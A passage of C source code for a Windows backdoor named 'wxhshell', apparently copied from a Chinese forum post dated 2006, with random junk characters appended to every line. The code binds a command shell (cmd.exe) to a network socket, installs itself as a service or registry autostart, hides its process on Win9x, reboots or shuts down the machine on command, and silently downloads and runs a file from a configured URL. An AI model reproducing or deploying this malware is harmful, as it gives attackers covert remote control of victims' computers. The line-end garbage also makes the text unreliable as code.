  case '?': { %*0^0wz  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 8Y7Q+p|O  
    break; 1NgCw\  
  } 9vvx*rD  
  // 安装 5Ezw ~hn  
  case 'i': { Pf\D-1gi  
    if(Install()) m4l& eEp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WL?\5?G 9l  
    else rcC<Zat,|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2vWx)Drb6  
    break; .Lsavpo  
    } }%_ b$  
  // 卸载 \}"$ ?d'f  
  case 'r': { 9|gr0&#~j  
    if(Uninstall()) 2h1vVF3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t_$2CRG#  
    else "C{}Z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .xm.DRk3  
    break; vRH d&0  
    } xk5@d6Y{r  
  // 显示 wxhshell 所在路径 HV{wI1  
  case 'p': { m0;CH/D0  
    char svExeFile[MAX_PATH]; P;ci9vk  
    strcpy(svExeFile,"\n\r"); + |#O@k  
      strcat(svExeFile,ExeFile); *&^:T~|=!  
        send(wsh,svExeFile,strlen(svExeFile),0); w.YiO5|y  
    break; #x 177I\  
    } A Sk|A!  
  // 重启 nwF2aRNV  
  case 'b': { @c;|G$E@3  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); J:V6  
    if(Boot(REBOOT)) fj;y}t1E]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n O\"HLM  
    else { 0dGAP  
    closesocket(wsh); e'~J,(fB  
    ExitThread(0); 5?3Me59  
    } j)/nKh4O  
    break; /7|V+6jV  
    } ; Q3n  
  // 关机 'kL#]  
  case 'd': { <~n"m  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @oV9)  
    if(Boot(SHUTDOWN)) <FcG oGK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e} P I^bc  
    else { "J [K 3  
    closesocket(wsh); a!"$~y$*  
    ExitThread(0); 3W3ZjdV+  
    } ?"i}^B`*  
    break; g" .are'7  
    } o4K ~  
  // 获取shell qQ?"@>PALD  
  case 's': { -y8`yHb_  
    CmdShell(wsh); =E.t`x=  
    closesocket(wsh);  ]%wVHC  
    ExitThread(0); N`L0Vd  
    break; =WyZX 7@R  
  } LE9(fe) fe  
  // 退出 +#lM  
  case 'x': { UQC=g  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); v*SEb~[  
    CloseIt(wsh); LSGBq  
    break; B&[M7i  
    } W;'!gpa  
  // 离开 VcSVu  
  case 'q': { 2\jPv`Ia  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); LWz&YF#T-  
    closesocket(wsh); / zB0J?  
    WSACleanup(); =/y]d<g  
    exit(1); a1+#3X.  
    break; w[S pw<Z  
        } ^=RffrlZU  
  } =u2l. CX  
  } Y&d00  
WJkZ!O$"j  
  // 提示信息 4W#vP  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |Lf"6^@yh  
} t\{'F7  
  } &]v4@%<J  
vY${;#~|  
  return; R`DKu=  
} [<g?WPCcC  
u'|4?"uz  
// shell模块句柄 ||hb~%JK6  
int CmdShell(SOCKET sock) lOuHVa*}  
{ \{Z; :,S  
STARTUPINFO si; pb ~u E  
ZeroMemory(&si,sizeof(si)); 52 fA/sx  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Crho=RJPR  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; %|g>%D3Z?  
PROCESS_INFORMATION ProcessInfo; #h8Sq~0  
char cmdline[]="cmd"; zF8dKFE~  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :Q $K<)[  
  return 0; 7VqM$I  
} /%}*Xh  
u09:Z{tL;@  
// 自身启动模式 -0$55pa/@:  
int StartFromService(void) >VP= MbN  
{ ^;Y|3)vvB  
typedef struct vY  }A  
{ TZ(cu>  
  DWORD ExitStatus; G-xDN59K  
  DWORD PebBaseAddress; P"y`A}Bx  
  DWORD AffinityMask; / ';0H_  
  DWORD BasePriority; juka0/  
  ULONG UniqueProcessId; pQ=>.JU  
  ULONG InheritedFromUniqueProcessId; Y;@>b{s  
}   PROCESS_BASIC_INFORMATION; 1zm ulj%&  
Z~oo;xE  
PROCNTQSIP NtQueryInformationProcess; 5iz{op<$,  
3DiLk=\~  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; \W1,F6&j  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; R7$:@<:g  
9[b<5Llt  
  HANDLE             hProcess; Q[vJqkgT  
  PROCESS_BASIC_INFORMATION pbi; wRcAX%n&  
CFzNwgv]z  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Rz bj  
  if(NULL == hInst ) return 0; s>;v!^N?u  
4zev^FR  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); bJRN;g  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 66/3|83Z  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); *1p|5!4c  
@kpv{`Y  
  if (!NtQueryInformationProcess) return 0; 2XFU1 AW  
<j*;.yyC  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); iOR_[y,  
  if(!hProcess) return 0; F(k.,0Nc  
!MYSfPdS  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; hAYTj0GZ  
3 Nreqq  
  CloseHandle(hProcess); 42e|LUZg  
S M0~fAtE  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); tZ=E')!\  
if(hProcess==NULL) return 0; C${Vg{g7a  
@R/07&lBR  
HMODULE hMod; {sihus#Q  
char procName[255]; ?t/~lv  
unsigned long cbNeeded; r@v,T8  
K`iv c N"  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); i]Fp..`v~  
>XY`*J^  
  CloseHandle(hProcess); 5R'TcWf#W  
(qqOjz   
if(strstr(procName,"services")) return 1; // 以服务启动 vwjPmOjhS  
rai3<_W<  
  return 0; // 注册表启动 4 Y ;Nm1 @  
} Mn9dqq~a  
mef<=5t  
// 主模块 [5zx17'  
int StartWxhshell(LPSTR lpCmdLine) T&%ux=Jt  
{ Kqp(%8mf  
  SOCKET wsl; &Sl[ lXE  
BOOL val=TRUE; y4t7`-,~  
  int port=0; |X0Y-  
  struct sockaddr_in door; SSz~YR^}Sr  
bvv|;6  
  if(wscfg.ws_autoins) Install(); xC*6vH]?  
T*#/^%HSG  
port=atoi(lpCmdLine); r\b3AKrIN  
OTGofd2zf  
if(port<=0) port=wscfg.ws_port; SH_(rQby  
zm]aU`j  
  WSADATA data; /tP|b _7O  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;  :rHJ4Tl  
v1BDP<qU2  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   jT8#C=a7  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); wF <n=  
  door.sin_family = AF_INET; XWA:J^  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); D2](da:]8)  
  door.sin_port = htons(port); N}pw74=1  
[q/Abz'i  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 2"Ecd  
closesocket(wsl); @6{~05.p  
return 1; cxA^:3  
} DB-l$rj  
lDOCmdt@N  
  if(listen(wsl,2) == INVALID_SOCKET) { :p]'32FA!  
closesocket(wsl); M,/mE~  
return 1; o*DN4oa)  
} \@8+U;d  
  Wxhshell(wsl); z.GMqW%B  
  WSACleanup(); K8>zF/# +  
BybW)+~  
return 0; IPgt|if^  
.QA }u ,EN  
} 4a'N>eDR  
V,q](bg  
// 以NT服务方式启动 Pa{%\dsv  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) BFL`!^  
{ uT}' Y)m  
DWORD   status = 0; ^Wc@oa`  
  DWORD   specificError = 0xfffffff; 0Uo\wyd  
G]+&!4  
  serviceStatus.dwServiceType     = SERVICE_WIN32; k`0>36  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; )3~{L;q  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; V'kX)$  
  serviceStatus.dwWin32ExitCode     = 0; zUKmxy@  
  serviceStatus.dwServiceSpecificExitCode = 0; 3 ):A   
  serviceStatus.dwCheckPoint       = 0; ;.TRWn#  
  serviceStatus.dwWaitHint       = 0; :?/cPg'D  
7( qE0R&@  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); l-SAC3qhG  
  if (hServiceStatusHandle==0) return; &;+ -?k|  
KVD8YfF  
status = GetLastError(); [-\%4  
  if (status!=NO_ERROR) 4:|S` jm  
{ D@Vt^_  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; >sK!F$  
    serviceStatus.dwCheckPoint       = 0; f>W -  
    serviceStatus.dwWaitHint       = 0; tS|(K=$  
    serviceStatus.dwWin32ExitCode     = status; fjU8gV  
    serviceStatus.dwServiceSpecificExitCode = specificError; $lLz 3YS  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); |QU <e  
    return; } \XfH  
  } `}mcEl  
K Pt5=a  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; NMa} <  
  serviceStatus.dwCheckPoint       = 0; p(~Yx3$*  
  serviceStatus.dwWaitHint       = 0; i(iXD  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); " f "6]y  
} pL{U `5S  
|962G1.  
// 处理NT服务事件,比如:启动、停止 ]`kmjn  
VOID WINAPI NTServiceHandler(DWORD fdwControl) !Cr(P e]  
{ DV _2P$tT|  
switch(fdwControl) .u4 W /  
{ 7 T1=q{#M  
case SERVICE_CONTROL_STOP: 8Le||)y,\  
  serviceStatus.dwWin32ExitCode = 0; .ox8*OO<  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 1XD,uoxB  
  serviceStatus.dwCheckPoint   = 0; a{R%#e\n  
  serviceStatus.dwWaitHint     = 0; P %#<I}0C  
  { EJsM(iG]~M  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .w0s%T,8}^  
  } QKr,g  
  return; ^~3SSLS4"  
case SERVICE_CONTROL_PAUSE: r]b_@hT',  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; CE/Xfh'44  
  break; mT.u0KUIy  
case SERVICE_CONTROL_CONTINUE: EL(nDv  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 1IZ3=6  
  break; MBqt&_?K  
case SERVICE_CONTROL_INTERROGATE: >[_f3;P  
  break; d4?Mi2/jF  
}; 22.8PO0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Bs O+NP  
} wM2*#  
FLGk?.x$\  
// 标准应用程序主函数 fpFhn  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) R )mu2 ^  
{ [uI|DUlI6o  
1+}{8D_F  
// 获取操作系统版本 8C67{^`::  
OsIsNt=GetOsVer(); 9Hf9VC3   
GetModuleFileName(NULL,ExeFile,MAX_PATH); v"#mzd.tW  
%k'!Iq+  
  // 从命令行安装 c.>oe*+  
  if(strpbrk(lpCmdLine,"iI")) Install(); :TJv=T'p'  
jO!y_Y]B  
  // 下载执行文件 yuat" Pg  
if(wscfg.ws_downexe) { R}q>O5O  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) r\/9X}y4z  
  WinExec(wscfg.ws_filenam,SW_HIDE); uf&myV7  
} [%77bv85.G  
x "^Xj]-  
if(!OsIsNt) { P] UJ0b  
// 如果时win9x,隐藏进程并且设置为注册表启动 { S3ZeN,kZ  
HideProc(); Fsif6k=4  
StartWxhshell(lpCmdLine); rvXWcu-"  
} K95p>E`9e  
else SjwyLc  
  if(StartFromService()) cp#JBH O  
  // 以服务方式启动 A?-oL='  
  StartServiceCtrlDispatcher(DispatchTable); yIDD@j=l  
else J6L  K  
  // 普通方式启动  DX"xy  
  StartWxhshell(lpCmdLine); p2DrEId  
.ys6"V|31  
return 0; 9983aFam  
}
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只看该作者 1 发表于: 2006-10-10
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